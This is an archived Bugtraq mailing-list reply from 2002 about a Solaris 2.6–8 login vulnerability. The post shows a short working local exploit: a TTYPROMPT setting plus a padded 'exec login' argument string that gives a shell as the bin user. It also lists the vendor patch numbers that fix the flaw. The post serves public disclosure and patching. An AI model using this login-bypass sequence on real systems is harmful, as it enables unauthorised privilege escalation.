Bugtraq mailing list archives

Re: Solaris 2.6, 7, 8

From: Dan Diamond <dan.a.diamond () mail sprint com>
Date: 3 Oct 2002 16:03:06 -0000

In-Reply-To: <80010803375300.04448@localhost.localdomain>

This exploit can also be done local to gain higher priv's
tester#TTYPROMPT=aaaaaa;export TTYPROMPT
tester#exec login
bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c 
c c c c c c c c c c c c c c c/n
tester:bin#

Patches to resolve are:
2.6 105665-04
2.7 112300-01
2.8 111085-01

Current thread:

Re: Solaris 2.6, 7, 8, (continued)
- - - Re: Solaris 2.6, 7, 8 tb0b (Oct 03)
    - Re: Solaris 2.6, 7, 8 Marco Ivaldi (Oct 03)
    - Re: Solaris 2.6, 7, 8 Sebastian (Oct 05)
  - Re: Solaris 2.6, 7, 8 Christopher X. Candreva (Oct 02)
  - Re: Solaris 2.6, 7, 8 Gert-Jan Hagenaars (Oct 03)
- Re: Solaris 2.6, 7, 8 Ido Dubrawsky (Oct 03)
- Re: Solaris 2.6, 7, 8 Ramon Kagan (Oct 03)
  - Re: Solaris 2.6, 7, 8 Roy Kidder (Oct 03)
- Re: Solaris 2.6, 7, 8 Ramon Kagan (Oct 03)
- RE: Solaris 2.6, 7, 8 Sinan Eren (Oct 02)
- Re: Solaris 2.6, 7, 8 Dan Diamond (Oct 03)
- RE: Solaris 2.6, 7, 8 Morgan (Oct 04)